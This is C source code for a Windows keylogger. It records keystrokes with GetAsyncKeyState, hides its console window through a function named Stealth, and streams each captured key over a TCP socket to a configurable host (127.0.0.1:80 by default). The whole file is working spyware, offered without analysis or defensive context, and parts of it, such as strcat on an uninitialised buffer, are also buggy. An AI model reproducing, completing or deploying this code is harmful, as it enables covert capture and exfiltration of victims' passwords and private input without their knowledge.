1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
#define WIN32_LEAN_AND_MEAN
//Needed to keylogging
#include <windows.h>
#include <winuser.h>
//Needed for networking
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define DEFAULT_BUFLEN 128
#define DEFAULT_PORT "80"
#define DEFAULT_HOST "127.0.0.1"
int Save (char key, int sock)
{
if ( (key == 1) || (key == 2) )
return 0;
char output[100];
switch(key){
case 8 : strcat(output,"[B]"); break; //Backspace
case VK_RETURN : strcat(output,"[E]"); break; //Enter
case VK_SPACE : strcat(output,"[S]"); break; // Space
case VK_CLEAR : strcat(output,"[C]"); break; //Clear
case VK_TAB : strcat(output,"[T]");break; //Tab
case VK_SHIFT : strcat(output,"[H]");break; // Shift
case VK_CONTROL: strcat(output,"[O]");break; // Control
case VK_ESCAPE : strcat(output,"[A]");break; // Escape
case VK_END : strcat(output,"[N]");break; // End
case VK_HOME : strcat(output,"[M]");break; // Home
case VK_LEFT : strcat(output,"[L]");break; // Left
case VK_RIGHT : strcat(output,"[R]");break; // Right
case VK_DOWN : strcat(output,"[D]");break; // Down
case VK_UP : strcat(output,"[U]");break; // Up
case 190 :
case 110 : strcat(output,"."); break; //Keypad . or keyboard .
default : strcat(output,"[ ]"); output[3] = key;
}
char *const allout = output;
int result;
result = send( sock,allout,5,0);
int i;
for(i=0;i<99;i++)
{
output[i]='\0';
}
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
int __cdecl main()
{
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
char *sendbuf = "this is a test";
char recvbuf[DEFAULT_BUFLEN];
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
return 1;
}
ZeroMemory( &hints, sizeof(hints) );
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(DEFAULT_HOST, DEFAULT_PORT, &hints, &result);
if ( iResult != 0 ) {
WSACleanup();
return 1;
}
// Attempt to connect to an address until one succeeds
for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return 1;
}
// Connect to server.
iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return 1;
}
Stealth();
int i;
while (true)
{
for(i=8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,ConnectSocket);
}
}
closesocket(ConnectSocket);
while(true){}
return 0;
}
|